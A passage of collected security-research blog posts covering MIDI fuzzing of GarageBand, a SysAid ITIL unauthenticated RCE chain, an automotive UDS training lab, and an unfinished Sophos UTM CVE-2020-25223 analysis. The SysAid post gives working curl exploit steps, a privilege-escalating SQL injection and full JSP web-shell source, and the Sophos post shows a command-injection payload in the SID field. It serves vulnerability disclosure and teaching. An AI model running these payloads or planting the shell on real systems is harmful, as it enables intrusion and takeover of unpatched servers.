Veni, MIDI, Vici — Conquering CVE-2022-22657 and CVE-2022-22664

Recently, Apple pushed two security fixes for issues in the way GarageBand and Logic Pro X parsed MIDI (musical instrument digital interface) data. GarageBand is free and is available in the default OS X image. Logic Pro X can be purchased in the App Store:

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-22657: Brandon Perry of Atredis Partners

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22664: Brandon Perry of Atredis Partners

THE BACKGROUND

I do a lot with music and audio/visual-related work outside of my work at Atredis, but this is the first time my hobby in recording and music directly influenced my bug hunting.

While looking into MIDI support on Linux, I noticed the application Timidity was often used to play MIDI files. Unfortunately, Timidity has been unsupported for a very long time and no official source code repository seemed to exist. However, while playing with it, I got the idea to fuzz Timidity, but not because I wanted to look for any bugs in Timidity itself.

Setting up Timidity to fuzz was simple with AFL (American Fuzzy Lop). Firstly, compile with instrumentation, and you are good to go.

Fuzzing Timidity with AFL

After a few days, I wasn’t finding any more new paths. In the end, I had 100,000 weird MIDI files.

GARAGEBAND AND LOGIC

GarageBand comes installed by default on the latest Macs and is primarily how you play MIDIs on OS X. There are also iPad apps for both GarageBand and Logic Pro X. On OS X, by double-clicking on a MIDI, it will open in GarageBand by default. To me, this implied that I could pass a MIDI to the GarageBand binary as an argument on the command-line.

cd /Applications/GarageBand.app/Content/MacOS/
./GarageBand ~/test.midi

Sure enough, this opened GarageBand and the MIDI. To start running GarageBand against all of my MIDIs, I hacked up this quick bash script.

for i in `ls /Users/bperry/midis/` 
do 
    ./GarageBand /Users/bperry/midis/$i& 
    sleep 15 
    killall -9 GarageBand 
done

Luckily, GarageBand supports logging it’s crash reports with the OS X crash handler, so you get nice crash reports like this.

Time Awake Since Boot: 550000 seconds

System Integrity Protection: enabled

Crashed Thread:        0

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [86400]

VM Regions Near 0:
--> 
    __TEXT                      1062db000-1082af000    [ 31.8M] r-x/r-x SM=COW  /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X

Application Specific Information:
Squire | 9822ba165c8200ad3eea20c1d3f8a51ff3c7a5c38397f17d396e73f464c81ef7 | 285921cb956a827f4eba8133900ad6876a990855 | 2021-11-05_15:18:01
 

Thread 0 Crashed:
0   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e98f6d 0x1062db000 + 12312429
1   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e9a988 0x1062db000 + 12319112
2   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x00000001076757bc 0x1062db000 + 20555708
3   com.apple.AppKit              	0x00007fff23307f18 -[NSDocumentController(NSDeprecated) openDocumentWithContentsOfURL:display:error:] + 808
4   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000107b9022c 0x1062db000 + 25907756
5   com.apple.Foundation          	0x00007fff212e449f __NSBLOCKOPERATION_IS_CALLING_OUT_TO_A_BLOCK__ + 7
6   com.apple.Foundation          	0x00007fff212e4397 -[NSBlockOperation main] + 98
7   com.apple.Foundation          	0x00007fff212e432a __NSOPERATION_IS_INVOKING_MAIN__ + 17

THE TAKEAWAY

In the end, I gave Apple 38 crashes. They determined 2 were security-relevant. These issues affected Logic Pro X and GarageBand on OSX and iOS and were fixed in version 10.4.6 of GarageBand and 10.7.3 in Logic Pro X. All of the files I provided Apple are available in the following Github repository.

https://github.com/brandonprry/apple_midi

When approaching opaque targets, it may be better to fuzz a faster and easier alternative and use the generated corpus against the more difficult target. It’s not a perfect technique, but can still be fruitful.

TIMELINE

  • Dec 2 2021 - Reported issues to Apple

  • Dec 3 2021 - Response from support confirming receipt

  • Jan 4 2022 - Atredis requests update

  • Jan 10 2022 - Atredis requests update

  • Jan 17 2022 - Apple responds with update

  • Feb 7 2022 - Atredis requests update

  • Feb 14 2022 - Atredis requests update

  • Feb 17 2022 - Apple responds with update. Parties agree to hold details until patch.

  • Mar 8 2022 - Apple requests credit details

  • Mar 8 2022 - Atredis confirms credit details

  • Mar 14 2022 - Details released and patches available.

Unauthenticated Remote Code Execution Chain in SysAid ITIL -- CVE-2021-43971, CVE-2021-43972, CVE-2021-43973, CVE-2021-43974

Atredis Partners found a chain of vulnerabilities in the ITIL product offering by SysAid during personal research. Other competitors to this SysAid product are ManageEngine, Remedy, or other ticketing and workflow systems. The full chain of issues allows an unauthenticated attacker to gain full administrative rights over the ITIL installation and to execute arbitrary code for a local shell.

Atredis only tested the on-premises version of SysAid ITIL. If you are running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.

You can find details from SysAid here: https://www.sysaid.com/product/on-premises/latest-release

Unauthenticated User Registration

First, the /enduserreg endpoint does not respect the server-side setting for allowing anonymous users to register. This requires the instance be set up with outgoing email, but once registered, the email used to register will be sent a new password for the user.

id=`curl http://192.168.1.113:8080/Login.jsp | grep -Eho 'accountid=(.*?)"' | cut -d '"' -f1 | cut -d '=' -f2`

curl -X POST --data "accountID="$id"&X_TOKEN_"$id"=%24tokenValue&thanksForm=thankyou.htm&X_TOKEN_"$id"_trial=%24tokenValue&email=attacker@blah.com&firstName=Unauthed&lastName=User&sms=&phone=&mobile=&Save=" http://192.168.1.113:8080/enduserreg

Check your email, then let’s escalate our new user to admin.

SQL Injection

Once authenticated, the authenticated user can escalate their privileges with a stacked UPDATE query. The issue is in the getMobileList method in SysAidUser.java

String str1 = " ";
String str2 = "order by lower(calculated_user_name)";
if (paramString2 != null && paramString2.length() > 0) {
    paramString2 = paramString2.toLowerCase();
    str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
} 

Above you can see paramString2 is used unsafely in the SQL query. This can used to build a stacked query which updates our user’s row in the database.

curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1';UPDATE sysaid_user SET administrator=CHAR(89),main_user=CHAR(89) WHERE user_name='attacker@blah.com'--

In the above unencoded HTTP parameter, a stacked query was used to update a column in the user table which will be read during authentication, giving us admin on the SysAid instance.

Arbitrary File Upload

After escalating the privilege, it is possible to relogin as an admin user and upload a JSP shell. However, the shell is not within reach just yet. Next, you can upload an arbitrary file to the server with the UploadPsIcon.jsp endpoint, but this does not immediately make the uploaded file available on the web server. It will return an absolute path on the server though, which we can use at the next step. Note the required Referer header.

path=`curl -H "Referer: http://192.168.1.113:8080/UploadPsIcon.jsp?parent=UserSelfServiceSettings.jsp?uploadPsFile=true" -H "Cookie: JSESSIONID=$sess" -F "file1=@cmd.jsp" -F "X_TOKEN_$id=$token" "http://192.168.1.113:8080/UploadPsIcon.jsp?uploadPSFile=false&parent=UserSelfServiceSettings.jsp?uploadPsFile=true" 2>&1 | grep tempFile.value | cut -d '"' -f2`

echo $path

The file cmd.jsp is a simple JSP shell.

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>

Arbitrary File Copy

Once uploaded, it is possible to copy a file from an arbitrary absolute path on the server to the directory meant to server images or icons. An absolute path exists from the previous step because it was returned in the response. Using the UserSelfServiceSettings.jsp endpoint, it is possible to pass on a path to copy a file from anywhere on the server itself into the web application to be available via an HTTP request. Note the required Referer header.

curl -X POST  -H "Referer: http://192.168.1.113:8080/UserSelfServiceSettings.jsp" -H "Cookie: JSESSIONID=$sess" --data "tabID=22&resetPasswordMethod=user&numberOfInvalidAttempts=5&blockUserMinutes=30&dummycaptcha=on&captcha=Y&enableGuest=N&userEmailAsIdentifier=N&PsImageUrl=&sendRandomCodeBySms=N&numberOfSecurityQuestions=2&answerMinimumLength=3&Apply=&OK=&Cancel=&Addtokb=&subAction=&reopenNote=&pageID=1&subPageID=1&replacePage=Y&changes=0&X_TOKEN_$id=$token&showAddFailMsgPopup=&paneMessage=&paneType=&paneBtnArrayButtons=&panePreSubmitFunc=&paneSubmitParentForm=&paneCancelFunc=hideOptionPane&tempFile=$path&fileName=cmd.jsp&psImageChange=true&id=" http://192.168.1.113:8080/UserSelfServiceSettings.jsp?uploadPsFile=true

Finally, A Shell

Once we have the file copied, it’s now possible to request a shell. Be sure to not use cookies. The configuration of the web server by default treats requests by authenticated users differently, and referencing the shell can only happen with an unauthenticated HTTP request.

curl http://192.168.1.113:8080/icons/ps/cmd.jsp?cmd=whoami

CVEs

/mobile/SelectUsers.jsp SQLi: CVE-2021-43971
/UserSelfServiceSettings.jsp unrestricted file copy: CVE-2021-43972
/UploadPsIcon.jsp unrestricted file upload:  CVE-2021-43973
/enduserreg anonymous user registration: CVE-2021-43974

Timeline

2021-09-21: SysAid notified. Original Proof-of-Concept (PoC) and emails blocked unbeknownst to both parties.

2021-10-05: Confirmed receipt of the original scripts to reproduce issues.

2021-11-17: CVE IDs allocated and communicated

2021-12-22: SysAid confirms issues resolved

2022-01-05: Details released

Exploring Unified Diagnostic Services with uds-zoo

uds-zoo is a project created by Chris Bellows and Tom Steele at Atredis Partners.

Today we are releasing a new project that will be useful for learning and exploration of attacking and defending automotive targets, specifically Unified Diagnostic Services (UDS/ISO-14229).

There are many resources (books/blogs/papers) that can get you started down the path of learning to interrogate automotive systems. These typically focus on the controller area network (CAN) bus as the target. It is easy to follow along using an inexpensive USB adapter and (if you have the stomach for it) your vehicle, or alternatively a simulator. In contrast, UDS is usually only given a cursory overview. Most sources focus on conducting discovery of servers and services on the network, with examples interacting with a handful of services.

While it is possible for someone to follow along on their own vehicle, executing discovery and enumeration of UDS services (which is a great learning exercise), you are not guaranteed to run into a vulnerability or misconfiguration. For example, on a secured device most interesting services require the client to establish a non-default session and successfully authenticate as seen in the following table:

It is worth noting that the UDS specification (ISO-14229) is intended to be a guide and leaves the underlying implementations up to the developer, so the items marked with * may or may not be accessible depending on the service implementation or request parameters.

Besides using your own vehicle, the other option that is available would be to buy an engine control unit (ECU) to test outside of a car directly. This option is much cheaper than purchasing an entire car, except it still requires providing power as well as any signals the device may require to enter a running state. You may ultimately end up in the same situation where the device has been designed to require authentication to access most services.

These pain-points led to the idea of creating a framework designed to allow someone to explore example UDS servers with common vulnerabilities. After some internal brainstorming on how to implement the framework, we decided to abstract away all of the underlying layers (CAN/ISO-TP) and emulate only the UDS application layer. By only emulating the application layer, the tool is not tied to a specific platform and does not require the user to setup or configure system interfaces or drivers (CAN/ISO-TP).

The application is designed to be extensible and includes a handful of example “levels” that provide a capture-the-flag style experience. In addition to the example levels, a bare-bones example level is provided to get you started designing your own. By default the application provides its own interface to interact with and complete the included levels that is accessible using a web browser:

Snazzy Web -1.0 Interface

The framework and associated application server is written in Go, and we have provided Docker tooling for convenience.

For those who would rather have a more realistic experience, we also created a small Python program (isotp_gateway) that that will expose the challenges over a virtual can interface:

$ python gateway.py start starting thread for id: 0x01 level: Level1 rxid: 0x01 txid: 0x90 starting thread for id: 0x02 level: Level2 rxid: 0x02 txid: 0x90 starting thread for id: 0x03 level: Level3 rxid: 0x03 txid: 0x90 starting thread for id: 0x04 level: Level4 rxid: 0x04 txid: 0x90 starting thread for id: 0x05 level: Level5 rxid: 0x05 txid: 0x90

After starting the gateway, each level will be accessible over the virtual can interface and can be interacted with using whatever tool you’d like. For instance, using isotpsend to interact with Level1:

$ echo 22 13 37 | isotpsend -s 0x01 -d 0x90 vcan0

We look forward to community contributions and implementing additional exercises in the future.

Source of uds-zoo and additional documentation can be found at GitHub: https://github.com/atredispartners/uds-zoo

Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223

Note: Sophos fixed this issue in September 2020. Information about patch availability is in their security advisory.

Overview

On a recent client engagement I was placed in a Virtual Private Cloud (VPC) instance with the goal of gaining access to other VPCs. During enumeration of attack surface I came across a Sophos UTM 9 device:

splash.png

When reviewing known vulnerabilities in these Sophos UTM devices, I came across CVE-2020-25223. The only information I could find about this vulnerability was that it was an unauthenticated remote command execution bug that affected several versions of the product:

A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11

After confirming with our client that they were running a vulnerable version, I posted to Twitter and a couple Slacks to see if anyone had any details on the vulnerability, and then set off on what I thought would be a quick adventure, but turned out not to be so quick in the end.

This blog post tells the story of that adventure and how in the end I was able to identify the preauth RCE.

Use the force Diffs, Luke Justin.

When looking for the details on a known patched bug, I started off the same way any sane person would, comparing the differences between an unpatched version and a patched version.

I grabbed ISOs for versions 9.510-5 and 9.511-2 of the Sophos UTM platform and spun them up in a lab environment. Truth be told I ended up spinning up six different versions, but the two I mentioned were what I ended up comparing in the end.

Enabling Remote Access

A nice feature on the Sophos UTM appliances is that once the instance is spun up, you can enable SSH, import your keys, and access the device as root using the Management -> System Settings -> Shell Access functionality in the web interface:

shell-access-web-interface.png

Then it's just a matter of SSH'ing into the instance:

$ ssh root@192.168.50.15
Last login: Mon Aug 16 14:37:00 2021 from 192.168.50.178


Sophos UTM
(C) Copyright 2000-2017 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.

For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt

NOTE: If not explicitly approved by Sophos support, any modifications
      done by root will void your support.

sophos:/root #

Where's the code?

I proxied all web traffic to the instances through Burp and found that the webadmin.plx endpoint handles a majority of the incoming web traffic. For instance, the following HTTP POST request is made when navigating to the instance, unauthenticated:

POST /webadmin.plx HTTP/1.1
Host: 192.168.50.15:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 204
Origin: https://192.168.50.15:4444
Connection: close
Referer: https://192.168.50.15:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0

{"objs": [{"FID": "init"}], "SID": 0, "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629216182300_0.6752239026892818", "current_uuid": "", "ipv6": true}

On the device we can see that webadmin.plx is indeed running:

sophos:/root # ps aux | grep -i webadmin.plx
wwwrun   12685  0.4  1.0  93240 89072 ?        S    11:22   0:08 /var/webadmin/webadmin.plx

It turns out the webserver is actually running chroot'd in /var/sec/chroot-httpd/, so that's where we can find the file:

# ls /var/sec/chroot-httpd/var/webadmin/webadmin.plx
/var/sec/chroot-httpd/var/webadmin/webadmin.plx

Not being familiar with the .plx file format, I used file to see what I was dealing with:

# file webadmin.plx
webadmin.plx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

Huh, ok...I was hoping for something easy like some PHP or Python or something. After poking at the ELF for a while and digging around online I came across the following writeup (I don't know where the original is, I'm sorry):

https://paper.seebug.org/1397/

It seems like I'm not the first person to assess one of these devices, and honestly, this writeup probably saved me several more hours of poking around. The gist of the writeup is that the author found that the .plx files are Perl files that have been compiled using ActiveState's Perl Dev Kit and that you can access the original source by running the .plx file in a debugger, setting a break point, and recovering the script from memory.

I went through this process and it worked surprisingly well. Note for the author of the writeup: you can use an SSH tunnel to hit the IDA debugger running on the Sophos UTM instance.

Ok... but where's the rest of the code...?

At this point I had access to the webadmin.plx code (which is actually asg.plx and is actually Perl code) which was great, but there was a big problem: the asg.plx file isn't a massive file with all of the code. I needed access to the Perl modules that asgx.plx imports, like:

# astaro stuff ---------------------------------------------
use Astaro::Logdispatcher;
use Astaro::Time::Zone qw/lgdiff/;

# necessary core modules -----------------------------------
use core::modules::core_globals;
use core::modules::core_tools;

asg.plx:20-26

I wish I could say I was able to get access to this code quickly and easily, and in the end it was as simple as extracting it with the right tools, but I didn't know that at the time and I stumbled and crawled a great distance along the way.

I was able to confirm that the modules that were imported by asg.plx would be accessible by taking memory dumps of the process and using strings to find bits and pieces of code, so on the bright side, the code was definitely there.

After a couple late nights of trying different things like extracting code from memory dumps, patching the binaries, etc... I posted the problem and the webadmin.plx file in work chat. There were great suggestions on using LD_PRELOAD on libperl.so or using binary instrumentation with frida or PIN to get access to the source code, but then one of our great reverse engineers found that the file actually had a BFS filesystem embedded at the end of the ELF file, and in a couple minutes was able to put together a script that could then be used with https://github.com/the6p4c/bfs_extract to extract the filesystem (and with that, the source).

The script can be found here:

import sys
import struct

class BFS:
  def __init__(self, data):
    self.data = data

  @classmethod
  def open(cls, path):
    with open(path, 'r+b') as f:
      f.seek(-12, 2)
      magic_chunk = f.read(12)
      pointer_header = struct.unpack('<III', magic_chunk)
      assert(pointer_header[0] == 0xab2155bc)

      f.seek(-12 - pointer_header[2], 2)
      data = f.read(pointer_header[2])
      return cls(data)

bfs = BFS.open(sys.argv[1])
with open(sys.argv[2], 'wb') as outf:
  outf.write(bfs.data)

yank.py

Using it is fairly straight forward:

#!/bin/bash

python3 ~/tools/bfs_extract/yank.py $1 stage1-$1
python3 ~/tools/bfs_extract/bfs.py stage1-$1 stage2-$1
python3 ~/tools/bfs_extract/bfs_extract.py stage2-$1 $2

bfs_extract.sh

$ bfs_extract.sh webadmin.plx extracted/
Found file DateTime/TimeZone/America/Indiana/Vevay.pm
    Offset: 1ab4c
Found file Astaro/Confd/Object/time/single.pm
    Offset: 1b6a4
Found file auto/Net/SSLeay/httpx_cat.al
    Offset: 1b8a4
Found file auto/NetAddr/IP/InetBase/inet_any2n.al

Watching the thousands of source files extracting from the .plx file was beautiful, I almost cried tears of joy.

Back to the Diffs

I spent a fair amount of time extracting the source code out of the .plx files from the UTM instances and also pulled the entire /var/sec/chroot-httpd/ directory to capture any differences in configuration files. My tool of choice for reviewing diffs is Meld as it lets me quickly and visually review diffs of directories and files:

meld-dir.png

Between the versions, the only change was in the wfe/asg/modules/asg_connector.pm file:

meld-dir-structure.png

The change in this file can be seen in meld below:

meld-asg-connector.png

The updated code shows a check being added to the switch_session subroutine make sure the SID (Session ID) does not contain any other characters other than alphanumeric characters; so it's likely that the vulnerability sources from the value of SID.

Going Down the Rabbit Hole

The only place the switch_session subroutine is called is from the do_connect subroutine:

$ ag switch_session
wfe/asg/modules/asg_connector.pm
68:# just a wrapper for switch_session
71:  return $self->switch_session(@_);
76:sub switch_session {
81:  &main::msg('d', "Called " . __PACKAGE__ . "::switch_session()");

The do_connect subroutine just appears to be a wrapper for the switch_session subroutine:

# just a wrapper for switch_session
sub do_connect {
  my $self = shift;
  return $self->switch_session(@_);
}

wfe/asg/modules/asg_connector.pm:68-72

The do_connect subroutine is used in various places in the code:

$ ag do_connect
wfe/asg/modules/asg_login.pm
290:    $SID = $sys->do_connect($config->{backend_address});

wfe/asg/modules/asg_misc.pm
110:  $SID = $sys->do_connect($config->{backend_address},$vars->{SID}) if $vars->{SID};

wfe/asg/modules/asg_main.pm
55:      $SID = $sys ? $sys->do_connect($config->{backend_address}, $_cookies->{SID}->value) : undef;

wfe/asg/modules/asg_connector.pm
69:sub do_connect {

core/modules/core_connector.pm
30:# renamed connect to do_connect for avoid confusion with
32:sub do_connect {
33:  die __PACKAGE__ . '::do_connect() has to be implemented by inherting module!';

asg.plx
190:    $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
216:    $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
325:          if ( $cookies->{SID} and ( $cookies->{SID} eq $SID or $SID = $sys->do_connect($config->{backend_address}, $cookies->{SID}) ) ) {

Knowing that asg.plx is the script name of webadmin.plx, let's take a look there first:

# POST request - means JSON request
  if ( $ENV{'REQUEST_METHOD'} eq 'POST' ) {

    # no further processing in case of content-type violation
    goto REQ_OUTPUT if $req->{ct_violation};

    # switch our identity if necessary
    $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;

asg.plx:209-216

The do_connect subroutine is used at the start of the HTTP POST request handling and also takes SID so we should be able to hit it with any HTTP POST request.

Throughout the code there are references to confd which is a backend service that the httpd frontend communicates with over RPC. When making an HTTP POST request to webadmin.plx, the httpd service connects to confd and sends it some data, such as SID, that's what we are seeing with:

$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;

So when an HTTP POST request is made, the SID is sent to confd where it is checked to see if it's a valid session identifier. This can be seen in the log files in /var/log/ on the appliance. If we make the following request with an invalid SID:

POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17:4444
DNT: 1
Connection: close
Referer: https://192.168.50.17:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"objs": [{"FID": "get_user_information"}], "SID":"ATREDIS", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1628997061547_0.82356395860014", "current_uuid": "", "ipv6": true}

Then we can see the lookup happen in the /var/log/confd-debug.log log file. The confd calls get_SID with the user-supplied SID:

2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:125() => listener: new connection...
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::reap_children:118() => reaped: 32643
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:215() => forked: 32653
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:223() => workers: 11682, 32653, 10419
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::server_loop:159() => child: serving connection from 127.0.0.1
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: >=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::response:287() => prpc response: $VAR1 = [
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]:           1,
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]:           'Welcome!'
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]:         ];
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: <=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
--
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                           'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                           'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                           'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                         }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                       ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'method' => 'NewHandle',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:         };
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:             'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:             'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:             'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:         ];
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: <=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D utils::write_sigusr1:389() => id="3100" severity="debug" sys="System" sub="confd" name="write_sigusr1" user="system" srcip="0.0.0.0" facility="system" client="unknown" call="new" mode="add" pids="32753"
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::response:287() => prpc response: $VAR1 = bless( {}, 'Astaro::RPC' );
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: >=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:461() => got request: $VAR1 = {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'params' => [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                         bless( {}, 'Astaro::RPC' ),
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                         'get_SID'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:                       ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'method' => 'CallMethod',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:           'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]:         };

/var/log/confd-debug.log

The confd service responds back to the httpd service that the SID does not exist and we can see that error occur in the /var/log/webadmin.log log file:

2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: W No backend for SID = ATREDIS...
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:  1. main::top-level:221() asg.plx

/var/log/webadmin.log

Let's see what exactly happens with the SID value that we supply in our HTTP POST request. When the connection to confd is made, confd attempts to read the stored SID from the confd sessions directory at $config::session_dir (/var/confd/var/sessions):

my $new = read_storage("$config::session_dir/$session->{SID}");

Session.pm:189

The read_storage subroutine takes a $file which in this case is SID and passes it to the Storable::lock_retrieve subroutine:

# read from Perl Storable file
sub read_storage {
  my $file = shift;
  my $href;

  require Storable;
  eval { local $SIG{'__DIE__'}; $href = Storable::lock_retrieve($file); };
  return if $@;
  return unless ref $href eq 'HASH';

  return $href;
}

Astaro/file.pm:350-361

The lock_retrieve subroutine calls the _retrieve subroutine:

sub lock_retrieve {
    _retrieve($_[0], 1);
}

auto/Storable/lock_retrieve.al:12-14

The _retrieve subroutine then calls open() on the file:

sub _retrieve {
    my ($file, $use_locking) = @_;
    local *FILE;
    open(FILE, $file) || logcroak "can't open $file: $!";

auto/Storable/_retrieve.al:8-11

In Perl, open() can be a dangerous function when user-supplied data is passed as the second argument. You can learn more about this in Perl's official documentation here, but this quick example demonstrates the danger:

#!/usr/bin/perl

my $a = "|id";
local *FILE;

open(FILE, $a);

test.pl

$ perl test.pl
uid=1000(justin) gid=1000(justin) groups=1000(justin)

In the case of the UTM appliance, the user-supplied SID value is passed to the second argument of open(). That seems pretty straight forward to exploit, right? Let's give it a shot. We'll attempt to run the command touch /tmp/pwned:

POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}

Now let's check for our file!

# ls -l /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory

Erm. No file has been written to the /tmp/ directory. When I got to this point, I was frustrated, let me tell you.

Let's look into the logs and see if we can figure out what happened.

2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:           {
